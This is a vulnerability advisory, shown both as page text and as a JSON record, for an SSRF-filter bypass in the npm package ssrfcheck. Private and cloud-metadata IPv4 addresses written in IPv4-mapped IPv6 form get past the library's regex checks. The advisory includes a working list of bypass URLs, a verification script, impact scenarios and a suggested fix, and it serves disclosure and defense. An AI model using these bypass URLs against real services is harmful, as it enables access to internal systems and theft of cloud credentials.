GHSA-J4RJ-2JR5-M439

Vulnerability from github – Published: 2026-05-05 20:29 – Updated: 2026-05-13 16:26
VLAI
Summary
ssrfcheck Vulnerable to Server-Side Request Forgery (SSRF) and Incomplete List of Disallowed Inputs
Details

Summary

ssrfcheck v1.3.0 (latest) fails to block Server-Side Request Forgery attacks when the target private IP address is encoded as an IPv4-mapped IPv6 address (e.g. http://[::ffff:127.0.0.1]/). The WHATWG URL parser built into Node.js silently normalizes the IPv4 notation inside the brackets to compressed hex form ([::ffff:7f00:1]) before the library's private-IP regex ever runs. The regex was written to match dot-notation only and therefore never matches any real input — all seven IANA private IPv4 ranges, including the AWS/GCP/Azure metadata address 169.254.169.254, are bypassed. Any application using isSSRFSafeURL() to guard HTTP requests made with user-supplied URLs is fully exposed to SSRF.


Details

Vulnerable file: src/is-private-ip.js

The library detects IPv6 private addresses using the privIp6() function. The relevant portion:

// src/is-private-ip.js  (lines ~40-60 of the published source)
function privIp6 (ip) {
  return /^::$/.test(ip) ||
    /^::1$/.test(ip) ||
    /^::f{4}:([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
    /^::f{4}:0.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
    /^64:ff9b::([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
    // ... more patterns, all expect dot-notation ...
}

The third line is the IPv4-mapped IPv6 check. It expects input in the form ::ffff:127.0.0.1 (dots). However, the IP is extracted from the URL using url.hostname, which goes through the WHATWG URL parser first.

How WHATWG URL normalizes the address (src/parse-url.js):

const url = new URL(normalizeURLStr(input));   // WHATWG URL parser runs here
const ipcheck = trimBrackets(url.hostname);    // e.g. '::ffff:7f00:1'  ← hex, no dots
const ipVersion = isIP(ipcheck);               // returns 6

The WHATWG URL spec (§5.3 IPv6 serializer) converts all embedded IPv4 notation to two 16-bit hex groups during parsing:

127.0.0.1       → 0x7f000001 → [0x7f00, 0x0001] → serialized as 7f00:1
169.254.169.254 → 0xa9fea9fe → [0xa9fe, 0xa9fe] → serialized as a9fe:a9fe
192.168.1.1     → 0xc0a80101 → [0xc0a8, 0x0101] → serialized as c0a8:101

So by the time the regex /^::f{4}:(\d+)\.(\d+)\.(\d+)\.(\d+)$/ runs, the string it receives is ::ffff:7f00:1 — no dots, no match. The regex has been dead code since Node.js adopted WHATWG URL (v10+).

Entry point (src/index.js):

if (hostIsIp && (options.noIP || isLoopbackAddr(ip) || isPrivateIP(ip, ipVersion))) {
  return false;   // ← never reached for IPv4-mapped IPv6
}
return true;      // ← always reached → BYPASS

PoC

Environment: Node.js >= 10, ssrfcheck any version including v1.3.0 (latest). No configuration required — default options are vulnerable.

Setup:

mkdir ssrfcheck-poc && cd ssrfcheck-poc
npm init -y
npm install ssrfcheck

Step 1 — confirm WHATWG URL normalization:

node << 'EOF'
const addrs = [
  ['127.0.0.1',       'loopback'],
  ['169.254.169.254', 'AWS/GCP/Azure metadata'],
  ['192.168.1.1',     'private LAN'],
  ['10.0.0.1',        '10.x range'],
];
for (const [ip, label] of addrs) {
  const h = new URL('http://[::ffff:' + ip + ']/').hostname;
  console.log(label + ' -> ' + h);
}
EOF

Expected output — confirms WHATWG drops dots:

loopback              -> [::ffff:7f00:1]
AWS/GCP/Azure metadata -> [::ffff:a9fe:a9fe]
private LAN           -> [::ffff:c0a8:101]
10.x range            -> [::ffff:a00:1]

Step 2 — trigger the bypass:

node << 'EOF'
const { isSSRFSafeURL } = require('ssrfcheck');

const bypasses = [
  'http://[::ffff:127.0.0.1]/',
  'http://[::ffff:169.254.169.254]/',
  'http://[::ffff:192.168.1.1]/',
  'http://[::ffff:10.0.0.1]/',
  'http://[::ffff:172.16.0.1]/',
  'http://[::ffff:7f00:1]/',
  'http://[0:0:0:0:0:ffff:127.0.0.1]/',
];

for (const url of bypasses) {
  const result = isSSRFSafeURL(url);
  console.log(result === true ? '[BYPASS]' : '[caught]', url, '->', result);
}

console.log('---');
const r1 = isSSRFSafeURL('http://127.0.0.1/');
const r2 = isSSRFSafeURL('http://192.168.1.1/');
const r3 = isSSRFSafeURL('http://[::1]/');
console.log('127.0.0.1 caught?',   r1 === false);
console.log('192.168.1.1 caught?', r2 === false);
console.log('[::1] caught?',        r3 === false);
EOF

Confirmed output (live-verified on Node.js v20.20.2, ssrfcheck v1.3.0, Zorin OS Linux, 2026-04-12):

[BYPASS] http://[::ffff:127.0.0.1]/           -> true
[BYPASS] http://[::ffff:169.254.169.254]/     -> true
[BYPASS] http://[::ffff:192.168.1.1]/         -> true
[BYPASS] http://[::ffff:10.0.0.1]/            -> true
[BYPASS] http://[::ffff:172.16.0.1]/          -> true
[BYPASS] http://[::ffff:7f00:1]/              -> true
[BYPASS] http://[0:0:0:0:0:ffff:127.0.0.1]/  -> true
---
127.0.0.1 caught?   true
192.168.1.1 caught? true
[::1] caught?        true

7/7 private-range variants bypass the check. Baseline dot-notation detections remain intact, confirming the bug is specific to the WHATWG normalization path.

Full automated verification script (verify-ssrfcheck.js):

#!/usr/bin/node
// ssrfcheck bypass verification script
// Tests CWE-918 via IPv4-mapped IPv6 WHATWG URL normalization

const { isSSRFSafeURL } = require('ssrfcheck');

const RED   = '\x1b[31m';
const GREEN = '\x1b[32m';
const CYAN  = '\x1b[36m';
const DIM   = '\x1b[2m';
const RESET = '\x1b[0m';

const BYPASSES = [
  { url: 'http://[::ffff:127.0.0.1]/',         label: 'loopback   (127.0.0.1)' },
  { url: 'http://[::ffff:169.254.169.254]/',   label: 'AWS meta   (169.254.169.254)' },
  { url: 'http://[::ffff:192.168.1.1]/',       label: 'LAN        (192.168.1.1)' },
  { url: 'http://[::ffff:10.0.0.1]/',          label: '10.x range (10.0.0.1)' },
  { url: 'http://[::ffff:172.16.0.1]/',        label: '172.16.x   (172.16.0.1)' },
  { url: 'http://[::ffff:7f00:1]/',            label: 'hex form   (direct)' },
  { url: 'http://[0:0:0:0:0:ffff:127.0.0.1]/', label: 'expanded   (0:0:0:0:0:ffff:127.0.0.1)' },
];

const BASELINE = [
  { url: 'http://127.0.0.1/',    label: 'dotted loopback', expectFalse: true },
  { url: 'http://192.168.1.1/',  label: 'private LAN',     expectFalse: true },
  { url: 'http://[::1]/',        label: 'IPv6 loopback',   expectFalse: true },
  { url: 'https://example.com/', label: 'public domain',   expectFalse: false },
];

console.log(`\n${CYAN}=== ssrfcheck v1.3.0 — bypass verification ===${RESET}`);
console.log(`${DIM}Node.js ${process.version}${RESET}\n`);

console.log(`${CYAN}[STEP 1] WHATWG URL hostname normalization${RESET}`);
for (const { url } of BYPASSES) {
  const parsed = new URL(url);
  console.log(`  ${url.padEnd(45)} -> hostname: ${parsed.hostname}`);
}

console.log(`\n${CYAN}[STEP 2] isSSRFSafeURL() results (all should return false)${RESET}`);
let bypassed = 0;
for (const { url, label } of BYPASSES) {
  const result = isSSRFSafeURL(url);
  if (result === true) bypassed++;
  const tag = result === true
    ? `${RED}[BYPASS]${RESET}`
    : `${GREEN}[caught]${RESET}`;
  console.log(`  ${tag} ${label.padEnd(30)} -> isSSRFSafeURL() = ${result}`);
}

console.log(`\n${CYAN}[STEP 3] Baseline checks${RESET}`);
for (const { url, label, expectFalse } of BASELINE) {
  const result = isSSRFSafeURL(url);
  const ok = (expectFalse ? result === false : result === true);
  const tag = ok ? `${GREEN}[OK]${RESET}    ` : `${RED}[FAIL]${RESET}  `;
  console.log(`  ${tag} ${label.padEnd(20)} -> isSSRFSafeURL() = ${result}`);
}

console.log(`\n${bypassed === BYPASSES.length ? RED : GREEN}=== ${bypassed}/${BYPASSES.length} bypasses confirmed ===${RESET}\n`);
process.exit(bypassed === BYPASSES.length ? 1 : 0);

Run:

node verify-ssrfcheck.js
# exit code 1 = bypasses confirmed (vulnerable)
# exit code 0 = all caught (fixed)

VIDEO POC ASCII CAST

asciicast

--

Impact

Vulnerability type: Server-Side Request Forgery (SSRF) — complete protection bypass

Who is impacted: Any Node.js application that: 1. Accepts a URL from an untrusted source (user input, API parameter, webhook payload) 2. Uses isSSRFSafeURL() from ssrfcheck to validate that URL before making an outbound HTTP request 3. Runs on Node.js >= 10 (WHATWG URL parser enabled — all supported versions as of 2026)

Concrete impact scenarios:

  • Cloud metadata theft: On AWS, GCP, or Azure, attacker sends `http://[::ffff:169.254.169.254]/latest/metadat
  • Internal network pivoting: Attacker reaches services on 10.x.x.x, 172.16.x.x, 192.168.x.x that are not exposed to the internet, bypassing the only protection layer.
  • Localhost access: Attacker reaches http://[::ffff:127.0.0.1]/admin or any service bound to loopback on the server.

The bypass requires no authentication, no special privileges, and no non-default configuration. It works against every version of ssrfcheck on every Node.js version >= 10.

Weaknesses

CWE-918 — Server-Side Request Forgery (SSRF) CWE-184 — Incomplete List of Disallowed Inputs


Suggested Fix

Replace the hand-rolled regex denylist in src/is-private-ip.js with Node's built-in net.BlockList, which operates on parsed IP values and is immune to string representation differences:

- function privIp6 (ip) {
-   return /^::$/.test(ip) ||
-     /^::1$/.test(ip) ||
-     /^::f{4}:([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
-     /^::f{4}:0.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
-     ...
- }

+ const { BlockList } = require('net');
+
+ const _ipv6Block = new BlockList();
+ _ipv6Block.addAddress('::',          'ipv6');          // unspecified
+ _ipv6Block.addAddress('::1',         'ipv6');          // loopback
+ _ipv6Block.addSubnet('::ffff:0:0',   96, 'ipv6');      // ALL IPv4-mapped — catches any private IPv4 in any notation
+ _ipv6Block.addSubnet('64:ff9b::',    96, 'ipv6');      // NAT64
+ _ipv6Block.addSubnet('fc00::',        7, 'ipv6');      // ULA
+ _ipv6Block.addSubnet('fe80::',       10, 'ipv6');      // link-local
+ _ipv6Block.addSubnet('ff00::',        8, 'ipv6');      // multicast
+ _ipv6Block.addSubnet('100::',        64, 'ipv6');      // IETF reserved
+ _ipv6Block.addSubnet('2001::',       32, 'ipv6');      // Teredo
+ _ipv6Block.addSubnet('2001:db8::',   32, 'ipv6');      // documentation
+ _ipv6Block.addSubnet('2002::',       16, 'ipv6');      // 6to4
+
+ function privIp6(ip) {
+   try { return _ipv6Block.check(ip, 'ipv6'); }
+   catch { return false; }
+ }

The ::ffff:0:0/96 subnet entry covers the entire IPv4-mapped IPv6 space in a single rule. BlockList.check() parses the IP numerically, so it is unaffected by WHATWG URL normalization or any other string representation.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "ssrfcheck"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43929"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T20:29:33Z",
    "nvd_published_at": "2026-05-12T18:17:28Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`ssrfcheck` v1.3.0 (latest) fails to block Server-Side Request Forgery attacks when the target private IP address is encoded as an IPv4-mapped IPv6 address (e.g. `http://[::ffff:127.0.0.1]/`). The WHATWG URL parser built into Node.js silently normalizes the IPv4 notation inside the brackets to compressed hex form (`[::ffff:7f00:1]`) before the library\u0027s private-IP regex ever runs. The regex was written to match dot-notation only and therefore never matches any real input \u2014 all seven IANA private IPv4 ranges, including the AWS/GCP/Azure metadata address `169.254.169.254`, are bypassed. Any application using `isSSRFSafeURL()` to guard HTTP requests made with user-supplied URLs is fully exposed to SSRF.\n\n---\n\n### Details\n\n**Vulnerable file:** `src/is-private-ip.js`\n\nThe library detects IPv6 private addresses using the `privIp6()` function. The relevant portion:\n\n```js\n// src/is-private-ip.js  (lines ~40-60 of the published source)\nfunction privIp6 (ip) {\n  return /^::$/.test(ip) ||\n    /^::1$/.test(ip) ||\n    /^::f{4}:([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/.test(ip) ||\n    /^::f{4}:0.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/.test(ip) ||\n    /^64:ff9b::([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/.test(ip) ||\n    // ... more patterns, all expect dot-notation ...\n}\n```\n\nThe third line is the IPv4-mapped IPv6 check. It expects input in the form `::ffff:127.0.0.1` (dots). However, the IP is extracted from the URL using `url.hostname`, which goes through the WHATWG URL parser first.\n\n**How WHATWG URL normalizes the address** (`src/parse-url.js`):\n\n```js\nconst url = new URL(normalizeURLStr(input));   // WHATWG URL parser runs here\nconst ipcheck = trimBrackets(url.hostname);    // e.g. \u0027::ffff:7f00:1\u0027  \u2190 hex, no dots\nconst ipVersion = isIP(ipcheck);               // returns 6\n```\n\nThe WHATWG URL spec (\u00a75.3 IPv6 serializer) converts all embedded IPv4 notation to two 16-bit hex groups during parsing:\n\n```\n127.0.0.1       \u2192 0x7f000001 \u2192 [0x7f00, 0x0001] \u2192 serialized as 7f00:1\n169.254.169.254 \u2192 0xa9fea9fe \u2192 [0xa9fe, 0xa9fe] \u2192 serialized as a9fe:a9fe\n192.168.1.1     \u2192 0xc0a80101 \u2192 [0xc0a8, 0x0101] \u2192 serialized as c0a8:101\n```\n\nSo by the time the regex `/^::f{4}:(\\d+)\\.(\\d+)\\.(\\d+)\\.(\\d+)$/` runs, the string it receives is `::ffff:7f00:1` \u2014 no dots, no match. The regex has been dead code since Node.js adopted WHATWG URL (v10+).\n\n**Entry point** (`src/index.js`):\n\n```js\nif (hostIsIp \u0026\u0026 (options.noIP || isLoopbackAddr(ip) || isPrivateIP(ip, ipVersion))) {\n  return false;   // \u2190 never reached for IPv4-mapped IPv6\n}\nreturn true;      // \u2190 always reached \u2192 BYPASS\n```\n\n---\n\n### PoC\n\n**Environment:** Node.js \u003e= 10, ssrfcheck any version including v1.3.0 (latest). No configuration required \u2014 default options are vulnerable.\n\n**Setup:**\n\n```bash\nmkdir ssrfcheck-poc \u0026\u0026 cd ssrfcheck-poc\nnpm init -y\nnpm install ssrfcheck\n```\n\n**Step 1 \u2014 confirm WHATWG URL normalization:**\n\n```bash\nnode \u003c\u003c \u0027EOF\u0027\nconst addrs = [\n  [\u0027127.0.0.1\u0027,       \u0027loopback\u0027],\n  [\u0027169.254.169.254\u0027, \u0027AWS/GCP/Azure metadata\u0027],\n  [\u0027192.168.1.1\u0027,     \u0027private LAN\u0027],\n  [\u002710.0.0.1\u0027,        \u002710.x range\u0027],\n];\nfor (const [ip, label] of addrs) {\n  const h = new URL(\u0027http://[::ffff:\u0027 + ip + \u0027]/\u0027).hostname;\n  console.log(label + \u0027 -\u003e \u0027 + h);\n}\nEOF\n```\n\nExpected output \u2014 confirms WHATWG drops dots:\n```\nloopback              -\u003e [::ffff:7f00:1]\nAWS/GCP/Azure metadata -\u003e [::ffff:a9fe:a9fe]\nprivate LAN           -\u003e [::ffff:c0a8:101]\n10.x range            -\u003e [::ffff:a00:1]\n```\n\n**Step 2 \u2014 trigger the bypass:**\n\n```bash\nnode \u003c\u003c \u0027EOF\u0027\nconst { isSSRFSafeURL } = require(\u0027ssrfcheck\u0027);\n\nconst bypasses = [\n  \u0027http://[::ffff:127.0.0.1]/\u0027,\n  \u0027http://[::ffff:169.254.169.254]/\u0027,\n  \u0027http://[::ffff:192.168.1.1]/\u0027,\n  \u0027http://[::ffff:10.0.0.1]/\u0027,\n  \u0027http://[::ffff:172.16.0.1]/\u0027,\n  \u0027http://[::ffff:7f00:1]/\u0027,\n  \u0027http://[0:0:0:0:0:ffff:127.0.0.1]/\u0027,\n];\n\nfor (const url of bypasses) {\n  const result = isSSRFSafeURL(url);\n  console.log(result === true ? \u0027[BYPASS]\u0027 : \u0027[caught]\u0027, url, \u0027-\u003e\u0027, result);\n}\n\nconsole.log(\u0027---\u0027);\nconst r1 = isSSRFSafeURL(\u0027http://127.0.0.1/\u0027);\nconst r2 = isSSRFSafeURL(\u0027http://192.168.1.1/\u0027);\nconst r3 = isSSRFSafeURL(\u0027http://[::1]/\u0027);\nconsole.log(\u0027127.0.0.1 caught?\u0027,   r1 === false);\nconsole.log(\u0027192.168.1.1 caught?\u0027, r2 === false);\nconsole.log(\u0027[::1] caught?\u0027,        r3 === false);\nEOF\n```\n\n**Confirmed output (live-verified on Node.js v20.20.2, ssrfcheck v1.3.0, Zorin OS Linux, 2026-04-12):**\n\n```\n[BYPASS] http://[::ffff:127.0.0.1]/           -\u003e true\n[BYPASS] http://[::ffff:169.254.169.254]/     -\u003e true\n[BYPASS] http://[::ffff:192.168.1.1]/         -\u003e true\n[BYPASS] http://[::ffff:10.0.0.1]/            -\u003e true\n[BYPASS] http://[::ffff:172.16.0.1]/          -\u003e true\n[BYPASS] http://[::ffff:7f00:1]/              -\u003e true\n[BYPASS] http://[0:0:0:0:0:ffff:127.0.0.1]/  -\u003e true\n---\n127.0.0.1 caught?   true\n192.168.1.1 caught? true\n[::1] caught?        true\n```\n\n7/7 private-range variants bypass the check. Baseline dot-notation detections remain intact, confirming the bug is specific to the WHATWG normalization path.\n\n**Full automated verification script (`verify-ssrfcheck.js`):**\n\n```js\n#!/usr/bin/node\n// ssrfcheck bypass verification script\n// Tests CWE-918 via IPv4-mapped IPv6 WHATWG URL normalization\n\nconst { isSSRFSafeURL } = require(\u0027ssrfcheck\u0027);\n\nconst RED   = \u0027\\x1b[31m\u0027;\nconst GREEN = \u0027\\x1b[32m\u0027;\nconst CYAN  = \u0027\\x1b[36m\u0027;\nconst DIM   = \u0027\\x1b[2m\u0027;\nconst RESET = \u0027\\x1b[0m\u0027;\n\nconst BYPASSES = [\n  { url: \u0027http://[::ffff:127.0.0.1]/\u0027,         label: \u0027loopback   (127.0.0.1)\u0027 },\n  { url: \u0027http://[::ffff:169.254.169.254]/\u0027,   label: \u0027AWS meta   (169.254.169.254)\u0027 },\n  { url: \u0027http://[::ffff:192.168.1.1]/\u0027,       label: \u0027LAN        (192.168.1.1)\u0027 },\n  { url: \u0027http://[::ffff:10.0.0.1]/\u0027,          label: \u002710.x range (10.0.0.1)\u0027 },\n  { url: \u0027http://[::ffff:172.16.0.1]/\u0027,        label: \u0027172.16.x   (172.16.0.1)\u0027 },\n  { url: \u0027http://[::ffff:7f00:1]/\u0027,            label: \u0027hex form   (direct)\u0027 },\n  { url: \u0027http://[0:0:0:0:0:ffff:127.0.0.1]/\u0027, label: \u0027expanded   (0:0:0:0:0:ffff:127.0.0.1)\u0027 },\n];\n\nconst BASELINE = [\n  { url: \u0027http://127.0.0.1/\u0027,    label: \u0027dotted loopback\u0027, expectFalse: true },\n  { url: \u0027http://192.168.1.1/\u0027,  label: \u0027private LAN\u0027,     expectFalse: true },\n  { url: \u0027http://[::1]/\u0027,        label: \u0027IPv6 loopback\u0027,   expectFalse: true },\n  { url: \u0027https://example.com/\u0027, label: \u0027public domain\u0027,   expectFalse: false },\n];\n\nconsole.log(`\\n${CYAN}=== ssrfcheck v1.3.0 \u2014 bypass verification ===${RESET}`);\nconsole.log(`${DIM}Node.js ${process.version}${RESET}\\n`);\n\nconsole.log(`${CYAN}[STEP 1] WHATWG URL hostname normalization${RESET}`);\nfor (const { url } of BYPASSES) {\n  const parsed = new URL(url);\n  console.log(`  ${url.padEnd(45)} -\u003e hostname: ${parsed.hostname}`);\n}\n\nconsole.log(`\\n${CYAN}[STEP 2] isSSRFSafeURL() results (all should return false)${RESET}`);\nlet bypassed = 0;\nfor (const { url, label } of BYPASSES) {\n  const result = isSSRFSafeURL(url);\n  if (result === true) bypassed++;\n  const tag = result === true\n    ? `${RED}[BYPASS]${RESET}`\n    : `${GREEN}[caught]${RESET}`;\n  console.log(`  ${tag} ${label.padEnd(30)} -\u003e isSSRFSafeURL() = ${result}`);\n}\n\nconsole.log(`\\n${CYAN}[STEP 3] Baseline checks${RESET}`);\nfor (const { url, label, expectFalse } of BASELINE) {\n  const result = isSSRFSafeURL(url);\n  const ok = (expectFalse ? result === false : result === true);\n  const tag = ok ? `${GREEN}[OK]${RESET}    ` : `${RED}[FAIL]${RESET}  `;\n  console.log(`  ${tag} ${label.padEnd(20)} -\u003e isSSRFSafeURL() = ${result}`);\n}\n\nconsole.log(`\\n${bypassed === BYPASSES.length ? RED : GREEN}=== ${bypassed}/${BYPASSES.length} bypasses confirmed ===${RESET}\\n`);\nprocess.exit(bypassed === BYPASSES.length ? 1 : 0);\n```\n\nRun:\n```bash\nnode verify-ssrfcheck.js\n# exit code 1 = bypasses confirmed (vulnerable)\n# exit code 0 = all caught (fixed)\n```\n# VIDEO POC ASCII CAST\n\n[![asciicast](https://asciinema.org/a/CxTKMwrlcHUUbQT8.svg)](https://asciinema.org/a/CxTKMwrlcHUUbQT8)\n\n--\n\n### Impact\n\n**Vulnerability type:** Server-Side Request Forgery (SSRF) \u2014 complete protection bypass\n\n**Who is impacted:** Any Node.js application that:\n1. Accepts a URL from an untrusted source (user input, API parameter, webhook payload)\n2. Uses `isSSRFSafeURL()` from `ssrfcheck` to validate that URL before making an outbound HTTP request\n3. Runs on Node.js \u003e= 10 (WHATWG URL parser enabled \u2014 all supported versions as of 2026)\n\n**Concrete impact scenarios:**\n\n- **Cloud metadata theft:** On AWS, GCP, or Azure, attacker sends `http://[::ffff:169.254.169.254]/latest/metadat \n- **Internal network pivoting:** Attacker reaches services on `10.x.x.x`, `172.16.x.x`, `192.168.x.x` that are not exposed to the internet, bypassing the only protection layer.\n- **Localhost access:** Attacker reaches `http://[::ffff:127.0.0.1]/admin` or any service bound to loopback on the server.\n\nThe bypass requires no authentication, no special privileges, and no non-default configuration. It works against every version of ssrfcheck on every Node.js version \u003e= 10.\n\n\n## Weaknesses\n\n**CWE-918** \u2014 Server-Side Request Forgery (SSRF)\n**CWE-184** \u2014 Incomplete List of Disallowed Inputs\n\n---\n\n## Suggested Fix\n\nReplace the hand-rolled regex denylist in `src/is-private-ip.js` with Node\u0027s built-in `net.BlockList`, which operates on parsed IP values and is immune to string representation differences:\n\n```diff\n- function privIp6 (ip) {\n-   return /^::$/.test(ip) ||\n-     /^::1$/.test(ip) ||\n-     /^::f{4}:([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/.test(ip) ||\n-     /^::f{4}:0.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/.test(ip) ||\n-     ...\n- }\n\n+ const { BlockList } = require(\u0027net\u0027);\n+\n+ const _ipv6Block = new BlockList();\n+ _ipv6Block.addAddress(\u0027::\u0027,          \u0027ipv6\u0027);          // unspecified\n+ _ipv6Block.addAddress(\u0027::1\u0027,         \u0027ipv6\u0027);          // loopback\n+ _ipv6Block.addSubnet(\u0027::ffff:0:0\u0027,   96, \u0027ipv6\u0027);      // ALL IPv4-mapped \u2014 catches any private IPv4 in any notation\n+ _ipv6Block.addSubnet(\u002764:ff9b::\u0027,    96, \u0027ipv6\u0027);      // NAT64\n+ _ipv6Block.addSubnet(\u0027fc00::\u0027,        7, \u0027ipv6\u0027);      // ULA\n+ _ipv6Block.addSubnet(\u0027fe80::\u0027,       10, \u0027ipv6\u0027);      // link-local\n+ _ipv6Block.addSubnet(\u0027ff00::\u0027,        8, \u0027ipv6\u0027);      // multicast\n+ _ipv6Block.addSubnet(\u0027100::\u0027,        64, \u0027ipv6\u0027);      // IETF reserved\n+ _ipv6Block.addSubnet(\u00272001::\u0027,       32, \u0027ipv6\u0027);      // Teredo\n+ _ipv6Block.addSubnet(\u00272001:db8::\u0027,   32, \u0027ipv6\u0027);      // documentation\n+ _ipv6Block.addSubnet(\u00272002::\u0027,       16, \u0027ipv6\u0027);      // 6to4\n+\n+ function privIp6(ip) {\n+   try { return _ipv6Block.check(ip, \u0027ipv6\u0027); }\n+   catch { return false; }\n+ }\n```\n\nThe `::ffff:0:0/96` subnet entry covers the entire IPv4-mapped IPv6 space in a single rule. `BlockList.check()` parses the IP numerically, so it is unaffected by WHATWG URL normalization or any other string representation.",
  "id": "GHSA-j4rj-2jr5-m439",
  "modified": "2026-05-13T16:26:31Z",
  "published": "2026-05-05T20:29:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/felippe-regazio/ssrfcheck/security/advisories/GHSA-j4rj-2jr5-m439"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43929"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/felippe-regazio/ssrfcheck"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ssrfcheck Vulnerable to Server-Side Request Forgery (SSRF) and Incomplete List of Disallowed Inputs"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…